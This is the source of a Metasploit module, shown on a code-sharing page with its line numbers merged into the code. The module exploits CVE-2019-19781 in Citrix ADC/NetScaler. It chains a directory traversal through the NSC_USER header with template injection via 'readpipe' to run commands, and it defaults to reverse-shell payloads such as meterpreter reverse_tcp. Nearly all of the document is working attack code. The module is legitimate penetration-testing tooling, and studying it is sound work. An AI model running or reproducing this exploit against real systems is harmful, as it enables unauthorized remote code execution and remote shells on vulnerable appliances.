Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/freebsd/http/citrix_dir_traversal_rce.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89prepend Msf::Exploit::Remote::AutoCheck10include Msf::Exploit::Remote::HttpClient11include Msf::Exploit::Remote::CheckModule12include Msf::Exploit::FileDropper13include Msf::Module::Deprecated1415moved_from 'exploit/linux/http/citrix_dir_traversal_rce'1617def initialize(info = {})18super(update_info(info,19'Name' => 'Citrix ADC (NetScaler) Directory Traversal RCE',20'Description' => %q{21This module exploits a directory traversal in Citrix Application Delivery Controller (ADC), aka22NetScaler, and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0, to execute an arbitrary command payload.23},24'Author' => [25'Mikhail Klyuchnikov', # Discovery26'Project Zero India', # PoC used by this module27'TrustedSec', # PoC used by this module28'James Brytan', # PoC contributed independently29'James Smith', # PoC contributed independently30'Marisa Mack', # PoC contributed independently31'Rob Vinson', # PoC contributed independently32'Sergey Pashevkin', # PoC contributed independently33'Steven Laura', # PoC contributed independently34'mekhalleh (RAMELLA Sébastien)' # Module author (https://www.pirates.re/)35],36'References' => [37['CVE', '2019-19781'],38['EDB', '47901'],39['EDB', '47902'],40['URL', 'https://support.citrix.com/article/CTX267027/'],41['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],42['URL', 'https://swarm.ptsecurity.com/remote-code-execution-in-citrix-adc/']43],44'DisclosureDate' => '2019-12-17',45'License' => MSF_LICENSE,46'Platform' => ['python', 'unix'],47'Arch' => [ARCH_PYTHON, ARCH_CMD],48'Privileged' => false,49'Targets' => [50['Python',51'Platform' => 'python',52'Arch' => ARCH_PYTHON,53'Type' => :python,54'DefaultOptions' => {'PAYLOAD' => 'python/meterpreter/reverse_tcp'}55],56['Unix Command',57'Platform' => 'unix',58'Arch' => ARCH_CMD,59'Type' => :unix_cmd,60'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}61]62],63'DefaultTarget' => 0,64'DefaultOptions' => {65'CheckModule' => 'auxiliary/scanner/http/citrix_dir_traversal',66'HttpClientTimeout' => 3.567},68'Notes' => {69'AKA' => ['Shitrix'],70'Stability' => [CRASH_SAFE],71'Reliability' => [REPEATABLE_SESSION],72'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]73}74))7576register_options([77OptString.new('TARGETURI', [true, 'Base path', '/'])78])79end8081def cmd_unix_generic?82datastore['PAYLOAD'] == 'cmd/unix/generic'83end8485def exploit86print_status("Yeeting #{datastore['PAYLOAD']} payload at #{peer}")87vprint_status("Generated payload: #{payload.encoded}")8889case target['Type']90when :python91execute_command(%(/var/python/bin/python2 -c "#{payload.encoded}"))92when :unix_cmd93if (res = execute_command(payload.encoded)) && cmd_unix_generic?94print_line(res.get_html_document.text.gsub(/undef error - Attempt to bless.*/m, ''))95end96end97end9899def execute_command(cmd, _opts = {})100filename = rand_text_alpha(8..42)101nonce = rand_text_alpha(8..42)102103res = send_request_cgi(104'method' => 'POST',105'uri' => normalize_uri(target_uri.path, '/vpn/../vpns/portal/scripts/newbm.pl'),106'headers' => {107'NSC_USER' => "../../../netscaler/portal/templates/#{filename}",108'NSC_NONCE' => nonce109},110'vars_post' => {111'url' => rand_text_alpha(8..42),112'title' => "[%template.new({'BLOCK'='print readpipe(#{chr_payload(cmd)})'})%]"113}114)115116unless res && res.code == 200117print_error('No response to POST newbm.pl request')118return119end120121res = send_request_cgi(122'method' => 'GET',123'uri' => normalize_uri(target_uri.path, "/vpn/../vpns/portal/#{filename}.xml"),124'headers' => {125'NSC_USER' => rand_text_alpha(8..42),126'NSC_NONCE' => nonce127},128'partial' => true129)130131unless res && res.code == 200132print_warning("No response to GET #{filename}.xml request")133end134135register_files_for_cleanup(136"/netscaler/portal/templates/#{filename}.xml",137"/var/tmp/netscaler/portal/templates/#{filename}.xml.ttc2"138)139140res141end142143def chr_payload(cmd)144cmd.each_char.map { |c| "chr(#{c.ord})" }.join('.')145end146147end148149150